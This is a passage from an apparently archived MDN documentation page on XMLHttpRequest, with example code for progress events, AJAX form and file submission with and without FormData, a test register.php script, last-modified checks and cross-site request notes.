+<p>Progress events exist for both download and upload transfers. The download events are fired on the <code>XMLHttpRequest</code> object itself, as shown in the above sample. The upload events are fired on the <code>XMLHttpRequest.upload</code> object, as shown below:</p>
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.upload.addEventListener("progress", updateProgress, false);
+oReq.upload.addEventListener("load", transferComplete, false);
+oReq.upload.addEventListener("error", transferFailed, false);
+oReq.upload.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+</pre>
+<div class="note">
+ <strong>Note:</strong> Progress events are not available for the <code>file:</code> protocol.</div>
+<div class="note">
+ <strong>Note</strong>: Currently there are open bugs for the progress event that are still affecting version 25 of Firefox on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=908375">OS X</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=786953">Linux</a>.</div>
+<div class="note">
+ <p><strong>Note:</strong> Starting in {{Gecko("9.0")}}, progress events can now be relied upon to come in for every chunk of data received, including the last chunk in cases in which the last packet is received and the connection closed before the progress event is fired. In this case, the progress event is automatically fired when the load event occurs for that packet. This lets you now reliably monitor progress by only watching the "progress" event.</p>
+</div>
+<div class="note">
+ <p><strong>Note:</strong> As of {{Gecko("12.0")}}, if your progress event is called with a <code>responseType</code> of "moz-blob", the value of response is a {{domxref("Blob")}} containing the data received so far.</p>
+</div>
+<p>One can also detect all three load-ending conditions (<code>abort</code>, <code>load</code>, or <code>error</code>) using the <code>loadend</code> event:</p>
+<pre class="brush:js">req.addEventListener("loadend", loadEnd, false);
+
+function loadEnd(e) {
+ alert("The transfer finished (although we don't know if it succeeded or not).");
+}
+</pre>
+<p>Note that there's no way to be certain from the information received by the <code>loadend</code> event as to which condition caused the operation to terminate; however, you can use this to handle tasks that need to be performed in all end-of-transfer scenarios.</p>
+<h2 id="Submitting_forms_and_uploading_files">Submitting forms and uploading files</h2>
+<p>Instances of <code>XMLHttpRequest</code> can be used to submit forms in two ways:</p>
+<ul>
+ <li>using nothing but AJAX</li>
+ <li>using the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> API</li>
+</ul>
+<p>The <strong>second way</strong> (using the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> API) is the simplest and the fastest, but has the disadvantage that the data collected can not be <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringified</a>.<br>
+ The <strong>first way</strong> is instead the most complex but also lends itself to be the most flexible and powerful.</p>
+<h3 id="Using_nothing_but_XMLHttpRequest">Using nothing but <code>XMLHttpRequest</code></h3>
+<p>Submitting forms without the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> API does not require other APIs, except that, only <strong>if you want to upload one or more files</strong>, the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API.</p>
+<h4 id="A_brief_introduction_to_the_submit_methods">A brief introduction to the submit methods</h4>
+<p>An html {{ HTMLElement("form") }} can be sent in four ways:</p>
+<ul>
+ <li>using the <code>POST</code> method and setting the <code>enctype</code> attribute to <code>application/x-www-form-urlencoded</code> (default);</li>
+ <li>using the <code>POST</code> method and setting the <code>enctype</code> attribute to <code>text/plain</code>;</li>
+ <li>using the <code>POST</code> method and setting the <code>enctype</code> attribute to <code>multipart/form-data</code>;</li>
+ <li>using the <code>GET</code> method (in this case the <code>enctype</code> attribute will be ignored).</li>
+</ul>
+<p>Now, consider to submit a form containing only two fields, named <code>foo</code> and <code>baz</code>. If you are using the <code>POST</code> method, the server will receive a string similar to one of the following three ones depending on the encoding type you are using:</p>
+<ul>
+ <li>
+ <p>Method: <code>POST</code>; Encoding type: <code>application/x-www-form-urlencoded</code> (default):</p>
+ <pre>Content-Type: application/x-www-form-urlencoded
+
+foo=bar&amp;baz=The+first+line.&amp;#37;0D%0AThe+second+line.%0D%0A</pre>
+ </li>
+ <li>
+ <p>Method: <code>POST</code>; Encoding type: <code>text/plain</code>:</p>
+ <pre>Content-Type: text/plain
+
+foo=bar
+baz=The first line.
+The second line.</pre>
+ </li>
+ <li>
+ <p>Method: <code>POST</code>; Encoding type: <code>multipart/form-data</code>:</p>
+ <pre style="height: 100px; overflow: auto;">Content-Type: multipart/form-data; boundary=---------------------------314911788813839
+
+-----------------------------314911788813839
+Content-Disposition: form-data; name="foo"
+
+bar
+-----------------------------314911788813839
+Content-Disposition: form-data; name="baz"
+
+The first line.
+The second line.
+
+-----------------------------314911788813839--</pre>
+ </li>
+</ul>
+<p>Instead, if you are using the <code>GET</code> method, a string like the following will be simply added to the URL:</p>
+<pre>?foo=bar&amp;baz=The%20first%20line.%0AThe%20second%20line.</pre>
+<h4 id="A_little_vanilla_framework">A little vanilla framework</h4>
+<p>All these things are done automatically by the web browser whenever you submit a {{ HTMLElement("form") }}. But if you want to do the same things using JavaScript you have to instruct the interpreter about <em>all</em> things. So, how to send forms in <em>pure</em> AJAX is too complex to be explained in detail here. For this reason we posted here <strong>a complete (but still didactic) framework</strong>, which is able to use all the four ways of <em>submit</em> and, also, to <strong>upload files</strong>:</p>
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+ <pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with pure AJAX &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+
+"use strict";
+
+/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx &lt; nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) &amp; 0xff;
+    }
+    /* send as ArrayBufferView...: */
+ this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+
+/*\
+|*|
+|*|  :: AJAX Form Submit Framework ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
+|*|
+|*| This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntax:
+|*|
+|*|   AJAXSubmit(HTMLFormElement);
+\*/
+
+var AJAXSubmit = (function () {
+
+  function ajaxSuccess () {
+    /* console.log("AJAXSubmit - Success!"); */
+    alert(this.responseText);
+    /* you can get the serialized data through the "submittedData" custom property: */
+    /* alert(JSON.stringify(this.submittedData)); */
+  }
+
+  function submitData (oData) {
+    /* the AJAX request... */
+    var oAjaxReq = new XMLHttpRequest();
+    oAjaxReq.submittedData = oData;
+    oAjaxReq.onload = ajaxSuccess;
+    if (oData.technique === 0) {
+      /* method is GET */
+      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length &gt; 0 ? "?" + oData.segments.join("&amp;") : ""), true);
+      oAjaxReq.send(null);
+    } else {
+      /* method is POST */
+      oAjaxReq.open("post", oData.receiver, true);
+      if (oData.technique === 3) {
+        /* enctype is multipart/form-data */
+        var sBoundary = "---------------------------" + Date.now().toString(16);
+        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
+        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" + oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
+      } else {
+        /* enctype is application/x-www-form-urlencoded or text/plain */
+        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
+        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&amp;"));
+      }
+    }
+  }
+
+  function processStatus (oData) {
+    if (oData.status &gt; 0) { return; }
+    /* the form is now totally serialized! do something before sending it to the server... */
+    /* doSomething(oData); */
+    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
+    submitData (oData);
+  }
+
+  function pushSegment (oFREvt) {
+    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
+    this.owner.status--;
+    processStatus(this.owner);
+  }
+
+  function plainEscape (sText) {
+    /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */
+    /* "4\3\7 - Einstein said E=mc2" ----&gt; "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
+    return sText.replace(/[\s\=\\]/g, "\\$&amp;");
+  }
+
+  function SubmitRequest (oTarget) {
+    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
+    /* console.log("AJAXSubmit - Serializing form..."); */
+    this.contentType = bIsPost &amp;&amp; oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
+    this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
+    this.receiver = oTarget.action;
+    this.status = 0;
+    this.segments = [];
+    var fFilter = this.technique === 2 ? plainEscape : escape;
+    for (var nItem = 0; nItem &lt; oTarget.elements.length; nItem++) {
+      oField = oTarget.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE" &amp;&amp; oField.files.length &gt; 0) {
+        if (this.technique === 3) {
+          /* enctype is multipart/form-data */
+          for (nFile = 0; nFile &lt; oField.files.length; nFile++) {
+            oFile = oField.files[nFile];
+            oSegmReq = new FileReader();
+            /* (custom properties:) */
+            oSegmReq.segmentIdx = this.segments.length;
+            oSegmReq.owner = this;
+            /* (end of custom properties) */
+            oSegmReq.onload = pushSegment;
+            this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
+            this.status++;
+            oSegmReq.readAsBinaryString(oFile);
+          }
+        } else {
+          /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */
+          for (nFile = 0; nFile &lt; oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
+        }
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        /* field type is not FILE or is FILE but is empty */
+        this.segments.push(
+          this.technique === 3 ? /* enctype is multipart/form-data */
+            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
+          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
+            fFilter(oField.name) + "=" + fFilter(oField.value)
+        );
+      }
+    }
+    processStatus(this);
+  }
+
+  return function (oFormElement) {
+    if (!oFormElement.action) { return; }
+    new SubmitRequest(oFormElement);
+  };
+
+})();
+
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with pure AJAX&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      Your name: &lt;input type="text" name="user" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Your message:&lt;br /&gt;
+      &lt;textarea name="message" cols="40" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt; &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt; &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt; &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt; &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+<p>To test it, create a<span class="long_text short_text" id="result_box" lang="en"><span class="hps"> </span></span>page named <strong>register.php</strong> (which is the <code>action</code> attribute of these sample forms) and just put the following <em><span class="long_text short_text" id="result_box" lang="en"><span class="hps">minimalistic </span></span></em>content:</p>
+<pre class="brush: php">&lt;?php
+/* register.php */
+
+header("Content-type: text/plain");
+
+/*
+NOTE: You should never use `print_r()` in production scripts, or
+otherwise output client-submitted data without sanitizing it first.
+Failing to sanitize can lead to cross-site scripting vulnerabilities.
+*/
+
+echo ":: data received via GET ::\n\n";
+print_r($_GET);
+
+echo "\n\n:: Data received via POST ::\n\n";
+print_r($_POST);
+
+echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
+if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
+
+echo "\n\n:: Files received ::\n\n";
+print_r($_FILES);
+
+</pre>
+<p>The syntax of this script is the following:</p>
+<pre class="syntaxbox">AJAXSubmit(myForm);</pre>
+<div class="note">
+ <strong>Note:</strong> This framework uses the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API to transmit file uploads. This is a recent API and is not implemented in IE9 or below. For this reason, the AJAX-only upload is considered <strong>an experimental technique</strong>. If you do not need to upload binary files, this framework work fine in most browsers.</div>
+<div class="note">
+ <strong>Note:</strong> The best way to send binary content is via <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer">ArrayBuffers</a> or <a href="/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob">Blobs</a> in conjuncton with the <a href="/en-US/docs/DOM/XMLHttpRequest#send%28%29" title="/en-US/docs/DOM/XMLHttpRequest#send()"><code>send()</code></a> method and possibly the <a href="/en-US/docs/DOM/FileReader#readAsArrayBuffer()" title="/en-US/docs/DOM/FileReader#readAsArrayBuffer()"><code>readAsArrayBuffer()</code></a> method of the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API. But, since the aim of this script is to work with a <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringifiable</a> raw data, we used the <a href="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary%28%29" title="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()"><code>sendAsBinary()</code></a> method in conjunction with the <a href="/en-US/docs/DOM/FileReader#readAsBinaryString%28%29" title="/en-US/docs/DOM/FileReader#readAsBinaryString()"><code>readAsBinaryString()</code></a> method of the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API. As such, the above script makes sense only when you are dealing with small files. If you do not intend to upload binary content, consider instead using the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> API.</div>
+<div class="note">
+ <strong>Note:</strong> The non-standard <code>sendAsBinary </code>method is considered deprecated as of Gecko 31 {{ geckoRelease(31) }} and will be removed soon. The standard <code>send(Blob data)</code> method can be used instead.</div>
+<h3 id="Using_FormData_objects">Using FormData objects</h3>
+<p>The <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> constructor lets you compile a set of key/value pairs to send using <code>XMLHttpRequest</code>. Its primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's <code>submit()</code> method would use to send the data if the form's encoding type were set to "multipart/form-data". FormData objects can be utilized in a number of ways with an XMLHttpRequest. For examples and explanations of how one can utilize FormData with XMLHttpRequests see the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="Using FormData Objects">Using FormData Objects</a> page. For didactic purpose only we post here <strong>a <em>translation</em> of <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">the previous example</a> transformed so as to make use of the <code>FormData</code> API</strong>. Note the brevity of the code:</p>
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+ <pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with FormData &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+"use strict";
+
+function ajaxSuccess () {
+  alert(this.responseText);
+}
+
+function AJAXSubmit (oFormElement) {
+  if (!oFormElement.action) { return; }
+  var oReq = new XMLHttpRequest();
+  oReq.onload = ajaxSuccess;
+  if (oFormElement.method.toLowerCase() === "post") {
+    oReq.open("post", oFormElement.action, true);
+    oReq.send(new FormData(oFormElement));
+  } else {
+    var oField, sFieldType, nFile, sSearch = "";
+    for (var nItem = 0; nItem &lt; oFormElement.elements.length; nItem++) {
+      oField = oFormElement.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE") {
+        for (nFile = 0; nFile &lt; oField.files.length; sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.value);
+      }
+    }
+    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&amp;/, "?")), true);
+    oReq.send(null);
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with FormData&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;p&gt;The text/plain encoding is not supported by the FormData API.&lt;/p&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt; &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt; &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt; &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt; &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+<div class="note">
+ <strong>Note:</strong> As we said,<strong> {{domxref("FormData")}} objects are not <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringifiable</a> objects</strong>. If you want to stringify a submitted data, use <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">the previous <em>pure</em>-AJAX example</a>. Note also that, although in this example there are some <code>file</code> {{ HTMLElement("input") }} fields, <strong>when you submit a form through the <code>FormData</code> API you do not need to use the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API also</strong>: files are automatically loaded and uploaded.</div>
+<h2 id="Get_last_modified_date">Get last modified date</h2>
+<pre class="brush: js">function getHeaderTime () {
+  alert(this.getResponseHeader("Last-Modified")); /* A valid GMTString date or null */
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("HEAD" /* use HEAD if you only need the headers! */, "yourpage.html", true);
+oReq.onload = getHeaderTime;
+oReq.send();</pre>
+<h3 id="Do_something_when_last_modified_date_changes">Do something when last modified date changes</h3>
+<p>Let's create these two functions:</p>
+<pre class="brush: js">function getHeaderTime () {
+
+  var
+    nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)),
+    nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
+
+  if (isNaN(nLastVisit) || nLastModif &gt; nLastVisit) {
+ window.localStorage.setItem('lm_' + this.filepath, Date.now());
+    isFinite(nLastVisit) &amp;&amp; this.callback(nLastModif, nLastVisit);
+  }
+
+}
+
+function ifHasChanged(sURL, fCallback) {
+  var oReq = new XMLHttpRequest();
+  oReq.open("HEAD" /* use HEAD - we only need the headers! */, sURL, true);
+  oReq.callback = fCallback;
+  oReq.filepath = sURL;
+  oReq.onload = getHeaderTime;
+  oReq.send();
+}</pre>
+<p>Test:</p>
+<pre class="brush: js">/* Let's test the file "yourpage.html"... */
+
+ifHasChanged("yourpage.html", function (nModif, nVisit) {
+  alert("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!");
+});</pre>
+<p>If you want to know <strong>whether <em>the current page</em> has changed</strong>, please read the article about <a href="/en-US/docs/Web/API/document.lastModified" title="/en-US/docs/Web/API/document.lastModified"><code>document.lastModified</code></a>.</p>
+<h2 id="Cross-site_XMLHttpRequest">Cross-site XMLHttpRequest</h2>
+<p>Modern browsers support cross-site requests by implementing the web applications working group's <a href="/en-US/docs/HTTP_access_control" title="HTTP access control">Access Control for Cross-Site Requests</a> standard.  As long as the server is configured to allow requests from your web application's origin, <code>XMLHttpRequest</code> will work.  Otherwise, an <code>INVALID_ACCESS_ERR</code> exception is thrown.</p>
+<h2 id="Bypassing_the_cache">Bypassing the cache</h2>
+<p><span style="line-height: 1.572;">A, cross-browser compatible approach to bypassing the cache is to append a timestamp to the URL, being sure to include a "?" or "&amp;" as appropriate.  For example:</span></p>
+<pre>http://foo.com/bar.html -&gt; http://foo.com/bar.html?12345
+http://foo.com/bar.html?foobar=baz -&gt; http://foo.com/bar.html?foobar=baz&amp;12345
+</pre>
+<p>Since the local cache is indexed by URL, this causes every request to be unique, thereby bypassing the cache.</p>
+<p>You can automatically adjust URLs using the following code:</p>
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url + ((/\?/).test(url) ? "&amp;" : "?") + (new Date()).getTime(), true);
+oReq.send(null);</pre>
+<h2 id="Security">Security</h2>
+<p>{{fx_minversion_note(3, "Versions of Firefox prior to Firefox 3 allowed you to set the preference <code>capability.policy.&lt;policyname&gt;.XMLHttpRequest.open&lt;/policyname&gt;</code> to <code>allAccess</code> to give specific sites cross-site access.  This is no longer supported.")}}</p>
+<p>{{fx_minversion_note(5, "Versions of Firefox prior to Firefox 5 could use <code>netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");</code> to request cross-site access. This is no longer supported, even though it produces no warning and permission dialog is still presented.")}}</p>
+<p>The recommended way to enable cross-site scripting is to use the <code>Access-Control-Allow-Origin </code> HTTP header in the response to the XMLHttpRequest.</p>
+<h3 id="XMLHttpRequests_being_stopped">XMLHttpRequests being stopped</h3>
+<p>If you end up with an XMLHttpRequest having <code>status=0</code> and <code>statusText=null</code>, it means that the request was not allowed to be performed. It was <code><a href="http://www.w3.org/TR/XMLHttpRequest/#dom-xmlhttprequest-unsent" title="http://www.w3.org/TR/XMLHttpRequest/#dom-xmlhttprequest-unsent">UNSENT</a></code>. A likely cause for this is when the <a href="http://www.w3.org/TR/XMLHttpRequest/#xmlhttprequest-origin" style="outline: 1px dotted; outline-offset: 0pt;"><code>XMLHttpRequest</code> origin</a> (at the creation of the XMLHttpRequest) has changed when the XMLHttpRequest is then <code>open()</code>. This case can happen for example when one has an XMLHttpRequest that gets fired on an onunload event for a window: the XMLHttpRequest gets in fact created when the window to be closed is still there, and then the request is sent (ie <code>open()</code>) when this window has lost its focus and potentially different window has gained focus. The way to avoid this problem is to set a listener on the new window "activate" event that gets set when the old window has its "unload" event fired.</p>
+<h2 id="Using_XMLHttpRequest_from_JavaScript_modules_XPCOM_components">Using XMLHttpRequest from JavaScript modules / XPCOM components</h2>
+<p>Instantiating <code>XMLHttpRequest</code> from a <a href="/en-US/docs/JavaScript_code_modules/Using" title="https://developer.mozilla.org/en/JavaScript_code_modules/Using_JavaScript_code_modules">JavaScript module</a> or an XPCOM component works a little differently; it can't be instantiated using the <code>XMLHttpRequest()</code> constructor. The constructor is not defined inside components and the code results in an error. The best way to work around this is to use the XPCOM component constructor.</p>
